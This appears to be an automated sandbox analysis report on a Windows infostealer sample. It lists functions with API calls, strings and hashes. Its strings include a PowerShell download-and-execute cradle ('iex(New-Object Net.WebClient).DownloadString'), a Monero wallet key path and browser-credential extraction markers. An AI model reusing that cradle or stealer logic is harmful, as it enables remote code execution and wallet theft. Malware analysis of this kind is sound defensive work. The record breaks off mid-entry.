Function 00C34FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00C34FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00C34FD1
InternetOpenA.WININET(00C50DDF,00000000,00000000,00000000,00000000), ref: 00C34FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00C35011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00C35041
InternetCloseHandle.WININET(?), ref: 00C350B9
InternetCloseHandle.WININET(?), ref: 00C350C6

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: b88de252240d585c45fd11258412f87ac3b5e7abf6d405a52b2c26b4afc03a66
Instruction ID: 313fa77ad49dfc6d5eba49198f363628dea91c2d0914fb246f4f6c2d2e5b36a2
Opcode Fuzzy Hash: b88de252240d585c45fd11258412f87ac3b5e7abf6d405a52b2c26b4afc03a66
Instruction Fuzzy Hash: 7131F5B4A40218ABDB24CF55DC85BDDB7B8FB48704F1081E9EA09B7281D7706AC58F99

Function 00C483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00C48426
wsprintfA.USER32 ref: 00C48459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00C4847B
RegCloseKey.ADVAPI32(00000000), ref: 00C4848C
RegCloseKey.ADVAPI32(00000000), ref: 00C48499

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

RegQueryValueExA.ADVAPI32(00000000,019DDFB8,00000000,000F003F,?,00000400), ref: 00C484EC
lstrlen.KERNEL32(?), ref: 00C48501
RegQueryValueExA.ADVAPI32(00000000,019DDEE0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00C50B34), ref: 00C48599
RegCloseKey.ADVAPI32(00000000), ref: 00C48608
RegCloseKey.ADVAPI32(00000000), ref: 00C4861A

Strings

%s\%s, xrefs: 00C4844D

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 3e4c7e5d87ced2a1042668bddd2ac24e4e58ef30c56f4adbf2846f272d1ad2c0
Instruction ID: 9823a43bce2bd91a81506328f1d926e1780fa482bee368e097246b3c40bf866e
Opcode Fuzzy Hash: 3e4c7e5d87ced2a1042668bddd2ac24e4e58ef30c56f4adbf2846f272d1ad2c0
Instruction Fuzzy Hash: B5210A719002189FDB64DB54DC85FE9B3B8FB48700F04C1A8E609A6180DF716AC9CFD5

Function 00C47690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C476A4
RtlAllocateHeap.NTDLL(00000000), ref: 00C476AB
RegOpenKeyExA.ADVAPI32(80000002,019CB8C0,00000000,00020119,00000000), ref: 00C476DD
RegQueryValueExA.ADVAPI32(00000000,019DDF58,00000000,00000000,?,000000FF), ref: 00C476FE
RegCloseKey.ADVAPI32(00000000), ref: 00C47708

Strings

Windows 11, xrefs: 00C476BD

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: f3dc009c368efd62b825e729980adc737047c58ff353db2ff5181bbc76cbe969
Instruction ID: a110b61d471dee19dffd231d9fa031bf373940aae3c8c09fcb47d471dd02277e
Opcode Fuzzy Hash: f3dc009c368efd62b825e729980adc737047c58ff353db2ff5181bbc76cbe969
Instruction Fuzzy Hash: 1B01A7B4A00204BFEB04DBE1DC4DF6D77B8EB84701F144164FA08E7291D77099488B52

Function 00C47720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C47734
RtlAllocateHeap.NTDLL(00000000), ref: 00C4773B
RegOpenKeyExA.ADVAPI32(80000002,019CB8C0,00000000,00020119,00C476B9), ref: 00C4775B
RegQueryValueExA.ADVAPI32(00C476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00C4777A
RegCloseKey.ADVAPI32(00C476B9), ref: 00C47784

Strings

CurrentBuildNumber, xrefs: 00C47771

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 98d6726c408a583ea425bb905b240fc89791585d775d11bfa96bcf728019922a
Instruction ID: 4237b3bcbb2dde81ed98244de9fa2fe89684e6cc0aefac42e7ffb4c64e0123b2
Opcode Fuzzy Hash: 98d6726c408a583ea425bb905b240fc89791585d775d11bfa96bcf728019922a
Instruction Fuzzy Hash: 280144B5A40308BFE714DBE1DC4AFAEB7B8EB44701F144565FA09A7281D67056448B52

Function 00C440B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C440D5
RegOpenKeyExA.ADVAPI32(80000001,019DD1D8,00000000,00020119,?), ref: 00C440F4
RegQueryValueExA.ADVAPI32(?,019DDAC0,00000000,00000000,00000000,000000FF), ref: 00C44118
RegCloseKey.ADVAPI32(?), ref: 00C44122
lstrcat.KERNEL32(?,00000000), ref: 00C44147
lstrcat.KERNEL32(?,019DD880), ref: 00C4415B

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 3ecbaffbe4551e526c473717ac0dd4d14a06eda0be06cbdc5262610a81280502
Instruction ID: fe2b4e4b4737d46f42a50610ca16fe18ca494ac8b76d27fe4613d7a4ae8fd9c5
Opcode Fuzzy Hash: 3ecbaffbe4551e526c473717ac0dd4d14a06eda0be06cbdc5262610a81280502
Instruction Fuzzy Hash: D24165B6910108AFDB14FBA0DC46FFE737DBBC8300F444558BA1A96181EA755B8C9B92

Function 00C399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C39A11
LocalAlloc.KERNEL32(00000040,?), ref: 00C39A31
ReadFile.KERNEL32(000000FF,?,00000000,00C3148F,00000000), ref: 00C39A5A
LocalFree.KERNEL32(00C3148F), ref: 00C39A90
CloseHandle.KERNEL32(000000FF), ref: 00C39A9A

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 335eee0acaed992b23f2afe4dac044ea7638a4e986624f3153d02d6b741a13b4
Instruction ID: 0863342ab00790bbe079c8ef6947ff40a457b4fbdd3ded9186e4bdda3083aca4
Opcode Fuzzy Hash: 335eee0acaed992b23f2afe4dac044ea7638a4e986624f3153d02d6b741a13b4
Instruction Fuzzy Hash: 3E316D74A00209EFDB14DF95D885BAE77B5FF88300F108258E915A7290C774AA85DFA1

Function 00C4C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00C4C8BF
___crtGetStringTypeA.LIBCMT ref: 00C4C8EC
___crtLCMapStringA.LIBCMT ref: 00C4C90C
___crtLCMapStringA.LIBCMT ref: 00C4C931

Strings

, xrefs: 00C4C896

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: f4b14b8070fe2d57f0b4654b81b73ff77d1eb59f7658a1e746dd5f4a893d2c3b
Instruction ID: 47b6fe5c9c841a37abd221e008066225d2dd9aaef4bc4fbef377b1db920e9f59
Opcode Fuzzy Hash: f4b14b8070fe2d57f0b4654b81b73ff77d1eb59f7658a1e746dd5f4a893d2c3b
Instruction Fuzzy Hash: 924126B150179CAEDB218B24CCC4FFBBBE8BF15304F1444E8E99A86192E2719B45DF20

Function 00C44780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,019DD988), ref: 00C447DB

Part of subcall function 00C48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C48E0B

lstrcat.KERNEL32(?,00000000), ref: 00C44801
lstrcat.KERNEL32(?,?), ref: 00C44820
lstrcat.KERNEL32(?,?), ref: 00C44834
lstrcat.KERNEL32(?,019CB270), ref: 00C44847
lstrcat.KERNEL32(?,?), ref: 00C4485B
lstrcat.KERNEL32(?,019DD078), ref: 00C4486F

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C48D90: GetFileAttributesA.KERNEL32(00000000,?,00C31B54,?,?,00C5564C,?,?,00C50E1F), ref: 00C48D9F

Part of subcall function 00C44570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00C44580
Part of subcall function 00C44570: RtlAllocateHeap.NTDLL(00000000), ref: 00C44587
Part of subcall function 00C44570: wsprintfA.USER32 ref: 00C445A6
Part of subcall function 00C44570: FindFirstFileA.KERNEL32(?,?), ref: 00C445BD

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: c0bb86bb43a9afb980b20b292558d8e938d732ee7c711599f681a8297713ed11
Instruction ID: 3f49a63a5bbfa89121954b00da500d256c592ecf47b88042986d5367745f69d9
Opcode Fuzzy Hash: c0bb86bb43a9afb980b20b292558d8e938d732ee7c711599f681a8297713ed11
Instruction Fuzzy Hash: 003171B29002086BDB14FBB0DC86EED737CBB58700F444599B319A6081EE7497CDDB92

Function 00C42C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

ShellExecuteEx.SHELL32(0000003C), ref: 00C42D85

Strings

<, xrefs: 00C42D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00C42D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00C42CC4
')", xrefs: 00C42CB3

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 1627c5fa34456e7e1bc6e31d97e8366d35d1fc20d408622ad43b0ac45bd59360
Instruction ID: c04cc2160377460386b987b843223b78a56b9f87be3c614019101501125faada
Opcode Fuzzy Hash: 1627c5fa34456e7e1bc6e31d97e8366d35d1fc20d408622ad43b0ac45bd59360
Instruction Fuzzy Hash: B841DD71C502089AEB14FFA1C892BEDBB74FF14304F504129F416A61D2DF746A8AEF95

Function 00C39E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00C39F41

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Strings

@, xrefs: 00C39EF1
v10, xrefs: 00C39EA3
v20, xrefs: 00C39E21
ERROR_RUN_EXTRACTOR, xrefs: 00C39E67

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 2548ce65c7fada2758d301de7fbcd5543fd493f1212526cdfd6f57df692b2145
Instruction ID: 0175bd1c0d710998d05489da103ab0a46acd7d871033124fda56a67150471746
Opcode Fuzzy Hash: 2548ce65c7fada2758d301de7fbcd5543fd493f1212526cdfd6f57df692b2145
Instruction Fuzzy Hash: 67615E75A50208AFDB28EFA4CC96FED7775BF44304F048018F90A9B191EB746A46DB52

Function 00C46920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00C4696C
sscanf.NTDLL ref: 00C46999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00C469B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00C469C0
ExitProcess.KERNEL32 ref: 00C469DA

Memory Dump Source

